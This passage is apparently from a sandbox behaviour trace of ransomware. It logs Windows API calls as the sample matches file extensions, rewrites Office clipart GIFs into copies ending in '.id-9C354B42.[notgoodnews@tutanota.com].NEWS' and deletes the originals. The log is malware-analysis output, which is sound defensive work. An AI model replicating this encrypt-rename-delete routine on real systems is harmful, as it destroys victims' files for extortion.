lpString2=".GIF") returned 1 [0230.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0230.657] lstrlenW (lpString=".zip") returned 4 [0230.657] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0230.657] lstrlenW (lpString=".rar") returned 4 [0230.657] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0230.657] lstrlenW (lpString=".bz2") returned 4 [0230.657] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0230.657] lstrlenW (lpString=".7z") returned 3 [0230.657] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0230.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0230.657] lstrlenW (lpString=".dbf") returned 4 [0230.657] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0230.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0230.658] lstrlenW (lpString=".1cd") returned 4 [0230.658] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0230.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0230.658] lstrlenW (lpString=".jpg") returned 4 [0230.658] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0230.658] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0230.659] lstrlenW (lpString="AG00142_.GIF") returned 12 [0230.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0230.739] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=15308) returned 1 [0230.739] CloseHandle (hObject=0x35c) returned 1 [0230.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 0x20 [0230.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0230.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0230.740] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0230.740] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0230.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0230.741] GetLastError () returned 0x0 [0230.741] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x3bcc, lpOverlapped=0x0) returned 1 [0230.771] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x3bd0, lpOverlapped=0x0) returned 1 [0230.775] ReadFile (in: hFile=0x35c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0230.775] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0230.776] SetEndOfFile (hFile=0x3bc) returned 1 [0230.922] CloseHandle (hObject=0x3bc) returned 1 [0230.923] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0230.923] SetEndOfFile (hFile=0x35c) returned 1 [0231.031] CloseHandle (hObject=0x35c) returned 1 [0231.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0231.103] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 1 [0231.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0231.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0231.104] lstrlenW (lpString=".doc") returned 4 [0231.104] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0231.104] lstrlenW (lpString=".docx") returned 5 [0231.104] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0231.104] lstrlenW (lpString=".pdf") returned 4 [0231.104] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0231.104] lstrlenW (lpString=".xls") returned 4 [0231.104] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0231.105] lstrlenW (lpString=".xlsx") returned 5 [0231.105] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0231.105] lstrlenW (lpString=".ppt") returned 4 [0231.105] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0231.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0231.105] lstrlenW (lpString=".zip") returned 4 [0231.105] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0231.105] lstrlenW (lpString=".rar") returned 4 [0231.105] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0231.105] lstrlenW (lpString=".bz2") returned 4 [0231.105] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0231.105] lstrlenW (lpString=".7z") returned 3 [0231.105] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0231.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0231.105] lstrlenW (lpString=".dbf") returned 4 [0231.106] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0231.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0231.106] lstrlenW (lpString=".1cd") returned 4 [0231.106] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0231.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0231.106] lstrlenW (lpString=".jpg") returned 4 [0231.106] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0231.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0231.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0231.107] lstrlenW (lpString=".doc") returned 4 [0231.107] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0231.107] lstrlenW (lpString=".docx") returned 5 [0231.107] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0231.107] lstrlenW (lpString=".pdf") returned 4 [0231.107] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0231.107] lstrlenW (lpString=".xls") returned 4 [0231.107] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0231.108] lstrlenW (lpString=".xlsx") returned 5 [0231.108] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0231.108] lstrlenW (lpString=".ppt") returned 4 [0231.108] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0231.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0231.108] lstrlenW (lpString=".zip") returned 4 [0231.108] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0231.108] lstrlenW (lpString=".rar") returned 4 [0231.108] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0231.108] lstrlenW (lpString=".bz2") returned 4 [0231.108] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0231.109] lstrlenW (lpString=".7z") returned 3 [0231.109] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0231.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0231.109] lstrlenW (lpString=".dbf") returned 4 [0231.109] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0231.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0231.109] lstrlenW (lpString=".1cd") returned 4 [0231.109] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0231.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0231.109] lstrlenW (lpString=".jpg") returned 4 [0231.109] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0231.110] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0231.110] lstrlenW (lpString="AG00160_.GIF") returned 12 [0231.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0231.111] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=1146) returned 1 [0231.111] CloseHandle (hObject=0x3a8) returned 1 [0231.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 0x20 [0231.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0231.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0231.118] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.118] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0231.119] GetLastError () returned 0x0 [0231.119] ReadFile (in: hFile=0x3a8, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x47a, lpOverlapped=0x0) returned 1 [0231.124] WriteFile (in: hFile=0x398, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x480, lpOverlapped=0x0) returned 1 [0231.127] ReadFile (in: hFile=0x3a8, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0231.127] WriteFile (in: hFile=0x398, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0231.128] SetEndOfFile (hFile=0x398) returned 1 [0231.128] CloseHandle (hObject=0x398) returned 1 [0231.128] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.128] SetEndOfFile (hFile=0x3a8) returned 1 [0231.438] CloseHandle (hObject=0x3a8) returned 1 [0231.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0231.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 1 [0231.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0231.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0231.715] lstrlenW (lpString=".doc") returned 4 [0231.715] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0231.715] lstrlenW (lpString=".docx") returned 5 [0231.716] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0231.716] lstrlenW (lpString=".pdf") returned 4 [0231.716] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0231.716] lstrlenW (lpString=".xls") returned 4 [0231.716] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0231.716] lstrlenW (lpString=".xlsx") returned 5 [0231.716] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0231.716] lstrlenW (lpString=".ppt") returned 4 [0231.716] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0231.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0231.716] lstrlenW (lpString=".zip") returned 4 [0231.716] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0231.716] lstrlenW (lpString=".rar") returned 4 [0231.716] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0231.716] lstrlenW (lpString=".bz2") returned 4 [0231.717] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0231.717] lstrlenW (lpString=".7z") returned 3 [0231.717] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0231.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0231.717] lstrlenW (lpString=".dbf") returned 4 [0231.717] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0231.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0231.717] lstrlenW (lpString=".1cd") returned 4 [0231.717] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0231.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0231.717] lstrlenW (lpString=".jpg") returned 4 [0231.717] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0231.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0231.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0231.718] lstrlenW (lpString=".doc") returned 4 [0231.718] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0231.718] lstrlenW (lpString=".docx") returned 5 [0231.718] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0231.718] lstrlenW (lpString=".pdf") returned 4 [0231.718] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0231.718] lstrlenW (lpString=".xls") returned 4 [0231.718] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0231.718] lstrlenW (lpString=".xlsx") returned 5 [0231.718] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0231.719] lstrlenW (lpString=".ppt") returned 4 [0231.719] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0231.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0231.719] lstrlenW (lpString=".zip") returned 4 [0231.719] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0231.719] lstrlenW (lpString=".rar") returned 4 [0231.719] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0231.719] lstrlenW (lpString=".bz2") returned 4 [0231.719] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0231.719] lstrlenW (lpString=".7z") returned 3 [0231.719] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0231.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0231.720] lstrlenW (lpString=".dbf") returned 4 [0231.720] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0231.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0231.720] lstrlenW (lpString=".1cd") returned 4 [0231.720] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0231.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0231.720] lstrlenW (lpString=".jpg") returned 4 [0231.720] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0231.721] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0231.721] lstrlenW (lpString="AG00164_.GIF") returned 12 [0231.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0231.730] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=13254) returned 1 [0231.730] CloseHandle (hObject=0x35c) returned 1 [0231.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 0x20 [0231.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0231.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0231.822] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.822] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0231.864] GetLastError () returned 0x0 [0231.864] ReadFile (in: hFile=0x1c0, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x33c6, lpOverlapped=0x0) returned 1 [0231.869] WriteFile (in: hFile=0x3c0, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x33d0, lpOverlapped=0x0) returned 1 [0231.873] ReadFile (in: hFile=0x1c0, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0231.873] WriteFile (in: hFile=0x3c0, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0231.874] SetEndOfFile (hFile=0x3c0) returned 1 [0231.874] CloseHandle (hObject=0x3c0) returned 1 [0231.874] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.875] SetEndOfFile (hFile=0x1c0) returned 1 [0231.882] CloseHandle (hObject=0x1c0) returned 1 [0231.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0231.900] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 1 [0231.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0231.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0231.901] lstrlenW (lpString=".doc") returned 4 [0231.901] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0231.901] lstrlenW (lpString=".docx") returned 5 [0231.901] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0231.901] lstrlenW (lpString=".pdf") returned 4 [0231.902] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0231.902] lstrlenW (lpString=".xls") returned 4 [0231.902] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0231.902] lstrlenW (lpString=".xlsx") returned 5 [0231.902] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0231.902] lstrlenW (lpString=".ppt") returned 4 [0231.902] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0231.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0231.903] lstrlenW (lpString=".zip") returned 4 [0231.903] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0231.903] lstrlenW (lpString=".rar") returned 4 [0231.903] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0231.903] lstrlenW (lpString=".bz2") returned 4 [0231.903] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0231.903] lstrlenW (lpString=".7z") returned 3 [0231.903] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0231.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0231.903] lstrlenW (lpString=".dbf") returned 4 [0231.903] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0231.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0231.903] lstrlenW (lpString=".1cd") returned 4 [0231.904] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0231.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0231.904] lstrlenW (lpString=".jpg") returned 4 [0231.904] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0231.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0231.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0231.904] lstrlenW (lpString=".doc") returned 4 [0231.904] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0231.904] lstrlenW (lpString=".docx") returned 5 [0231.904] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0231.905] lstrlenW (lpString=".pdf") returned 4 [0231.905] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0231.905] lstrlenW (lpString=".xls") returned 4 [0231.905] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0231.905] lstrlenW (lpString=".xlsx") returned 5 [0231.905] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0231.905] lstrlenW (lpString=".ppt") returned 4 [0231.905] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0231.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0231.905] lstrlenW (lpString=".zip") returned 4 [0231.905] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0231.905] lstrlenW (lpString=".rar") returned 4 [0231.906] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0231.906] lstrlenW (lpString=".bz2") returned 4 [0231.906] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0231.906] lstrlenW (lpString=".7z") returned 3 [0231.906] lstrcmpiW 